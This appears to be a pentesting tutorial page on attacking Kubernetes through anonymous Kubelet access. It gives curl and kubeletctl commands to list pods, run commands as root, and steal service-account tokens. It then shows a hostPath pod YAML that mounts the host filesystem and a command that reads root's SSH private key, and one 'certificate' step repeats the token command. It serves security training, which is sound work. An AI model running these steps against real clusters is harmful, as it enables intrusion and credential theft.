Skip to content

Pentesting Kubernetes

See Kubernetes, the Basic.

The Control Plane serves as the management layer. It consists of several crucial components, including:

Service TCP Ports
etcd 23792380
API server 6443
Scheduler 10251
Controller Manager 10252
Kubelet API 10250
Read-Only Kubelet API 10255

Security in Kubernetes is divided into different domains:

  1. Cluster Infrastructure Security: Ensuring the underlying nodes and network are protected.
  2. Cluster Configuration Security: Managing RBAC policies, API access, and network policies.
  3. Application Security: Implementing container security best practices.
  4. Data Security: Ensuring encrypted communication and storage mechanisms.

Each domain includes multiple layers and elements that must be secured and managed appropriately by the developers and administrators.

Kubernetes API

The core of Kubernetes architecture is its API, which serves as the main point of contact for all internal and external interactions.  The kube-apiserver is responsible for hosting the API, which handles and verifies RESTful requests for modifying the system's state. These requests can involve creating, modifying, deleting, and retrieving information related to various resources within the system. Overall, the Kubernetes API plays a crucial role in facilitating seamless communication and control within the Kubernetes cluster.

Within the Kubernetes framework, an API resource serves as an endpoint that houses a specific collection of API objects. These objects pertain to a particular category and include essential elements such as Pods, Services, and Deployments, among others.

Request Description
GET Retrieves information about a resource or a list of resources.
POST Creates a new resource.
PUT Updates an existing resource.
PATCH Applies partial updates to a resource.
DELETE Removes a resource.

Anonymous access to Kubelet

Worker nodes execute the actual application workloads and run containerized applications. One component of a worker node is Kubelet, the primary agent on each worker node that ensures pods are running as expected and communicates with the API server.

In Kubernetes, the Kubelet can be configured to permit anonymous access. By default, the Kubelet allows anonymous access. Anonymous requests are considered unauthenticated, which implies that any request made to the Kubelet without a valid client certificate will be treated as anonymous.

This can be problematic as any process or user that can reach the Kubelet API can make requests and receive responses, potentially exposing sensitive information or leading to unauthorized actions.

curl https://$IP:6443 -k

In this case, we try to access the root path, which would grant significant control over the Kubernetes cluster if successful. By default, access to the root path is generally restricted to authenticated and authorized users with administrative privileges and the API server denied the request, responding with a 403 Forbidden status code accordingly.

Extract PODs

However, if successful (no authentication needed) we could extract PODs via Kubelet API:

curl https://$ip:10250/pods -k | jq .

The information displayed in the output includes the namesnamespacescreation timestamps, and container images of the pods. It also shows the last applied configuration for each pod, which could contain confidential details regarding the container images and their pull policies.

We can also use metadata such as uid and resourceVersion to perform reconnaissance and recognize potential targets for further attacks. Disclosing the last applied configuration can potentially expose sensitive information, such as passwords, secrets, or API tokens, used during the deployment of the pods.

Kubeletctl - Extracting Pods

We can further analyze the pods with the following command:

kubeletctl -i --server 10.129.10.11 pods

To effectively interact with pods within the Kubernetes environment, it's important to have a clear understanding of the available commands. One approach that can be particularly useful is utilizing the scan rce command in kubeletctl. This command provides valuable insights and allows for efficient management of pods. Kubelet API - Available Commands:

kubeletctl -i --server $ip scan rce

Kubelet API - Executing Commands

It is also possible for us to engage with a container interactively and gain insight into the extent of our privileges within it. This allows us to better understand our level of access and control over the container's contents.

 kubeletctl -i --server 10.129.10.11 exec "id" -p nginx -c nginx

Output:

uid=0(root) gid=0(root) groups=0(root)

The output of the command shows that the current user executing the id command inside the container has root privileges. This indicates that we have gained administrative access within the container, which could potentially lead to privilege escalation vulnerabilities.

Kubelet API - Extracting Token and certificate

Token:

kubeletctl -i --server 10.129.10.11 exec "cat /var/run/secrets/kubernetes.io/serviceaccount/token" -p nginx -c nginx | tee -a k8.token

Certificate

kubeletctl -i --server 10.129.10.11 exec "cat /var/run/secrets/kubernetes.io/serviceaccount/token" -p nginx -c nginx | tee -a k8.token

Now that we have both the token and certificate, we can check the access rights in the Kubernetes cluster:

export token=`cat k8.token`
kubectl --token=$token --certificate-authority=ca.crt --server=https://10.129.10.11:6443 auth can-i --list

Now we can getcreate, and list pods which are the resources representing the running container in the cluster. From here on, we can create a YAML file that we can use to create a new container and mount the entire root filesystem from the host system into this container's /root directory.

Further exploitation

From there on, we could access the host systems files and directories. The YAML file could look like following:

apiVersion: v1
kind: Pod
metadata:
  name: privesc
  namespace: default
spec:
  containers:
  - name: privesc
    image: nginx:1.14.2
    volumeMounts:
    - mountPath: /root
      name: mount-root-into-mnt
  volumes:
  - name: mount-root-into-mnt
    hostPath:
       path: /
  automountServiceAccountToken: true
  hostNetwork: true

Once created, we can now create the new pod and check if it is running as expected.

Creating a new Pod

kubectl --token=$token --certificate-authority=ca.crt --server=https://10.129.96.98:6443 apply -f privesc.yaml

Listing Pods:

 kubectl --token=$token --certificate-authority=ca.crt --server=https://10.129.96.98:6443 get pods

If the pod is running we can execute the command and we could spawn a reverse shell or retrieve sensitive data like private SSH key from the root user.

Extracting Root's SSH Key

kubeletctl --server 10.129.10.11 exec "cat /root/root/.ssh/id_rsa" -p privesc -c privesc
Last update: 2025-02-16
Created: February 16, 2025 21:39:54